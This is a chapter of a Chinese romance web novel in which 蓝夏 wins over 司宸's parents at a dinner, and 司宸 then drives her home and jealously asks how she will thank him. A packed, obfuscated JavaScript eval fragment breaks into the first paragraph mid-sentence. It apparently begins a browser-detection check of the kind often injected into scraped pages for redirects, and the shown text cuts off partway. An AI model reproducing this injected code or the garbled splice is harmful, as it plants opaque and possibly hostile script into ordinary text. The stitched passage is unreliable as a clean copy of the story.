蒲俊慧一眼便认出来,这是近年来很火的《露珠》,因为作者是一名亚洲女性,刚出道的时候引起了不小的轰动,国内新闻甚至还轮番拉出来报道。 毕竟这是给国人长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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最后还交换了联系方式,看起来,他们对蓝夏满意得不得了。 他们今晚会在州城再住一晚,明早参加完州城分公司的会议便会乘飞机离开。 行程繁忙,时间珍贵,送行的事便落到了司理身上。 父母刚离开,司理便肯定她道:“我和你说过你没有问题的,你这么优秀,谁会不喜欢你。” “谢谢司理哥哥,这段时间麻烦你了。” “不麻烦,其实也没帮上什么忙,都靠你自己优秀。你们也累了,早点回去休息吧,我送你们回去。” “不用了,”司宸往前走了点,横插在司理和蓝夏的中间,“我开了车来。” 司理笑笑,“好,那你开车注意安全,小夏到家记得给我发条消息。” 司宸没理他,蓝夏笑着点头说好。 司理只和他们同行到一楼,他有司机,不需要自己开车。 道别后,电梯继续往下,到了负一层,地下停车场。 谁也没有先说话,司宸走在蓝夏身边,脸上阴云密布,他低头看了眼蓝夏,她正低着头给爷爷奶奶发消息。 反正她永远都在忙。 蓝夏告诉司崇辉今晚吃饭一切都好,让他们不要担心,晚上早点休息。 司崇辉一激动打了个电话过来。 蓝夏接起,安抚着爷爷,“我真的没有骗您,他们没有为难我。您可以打电话问问爸爸,哦,还可以问问司理哥哥,他也在……嗯,好,司宸开车,我们现在准备回去了……” 老爷子在那边又说了什么,蓝夏把手机递给司宸,“爷爷有话要和你说。” 司宸接过,老爷子大概是在向他求证,他懒懒地说:“都是真的,我一餐饭三句话都说不到,小夏?她大概嗓子都说干了吧,一直都在喝水,毕竟只要见到她的人都会喜欢她。” 蓝夏偏过头看他,怎么感觉最后这句话和他前面说的那些话语调有些不太一样? 得到证实,司崇辉彻底放了心,手机回到了蓝夏手上,孟莲又和蓝夏说了几句。 蓝夏笑着和奶奶撒娇,边笑边走,冷不丁被司宸揽住腰,他凑到她耳边低声说:“你要走到哪里去,到了。” 蓝夏仔细一看,面前这辆黑车的确是司宸的。 司宸给车解了锁,怕她打电话又瞎游荡,先打开副驾的门,让她坐进去,自己才绕到主驾坐下。 蓝夏坐在车上,又听两位老人叮嘱了几句,便挂了电话。 电话一挂断,车内又安静得可怕。蓝夏想起来她和司宸闹别扭的事了,但她已经不生气了。 司宸沉默开车,蓝夏琢磨了一路,到家后先给司理发了条安全到家的信息。 信息发完,她才抬起头对埋头往房间走的司宸道:“司宸,谢谢你。” 司宸脚步一滞,回头,“谢什么?” “你今天帮我说话,说我在养你。” 其实根本没有,住到司宸这里来后,她曾经提出过要AA,都被司宸拒绝了,吃穿用都是他在花钱。 司宸视线又落到她的手镯上,觉得碍眼得很。 他若有所思答:“哦,那你要怎么谢我?”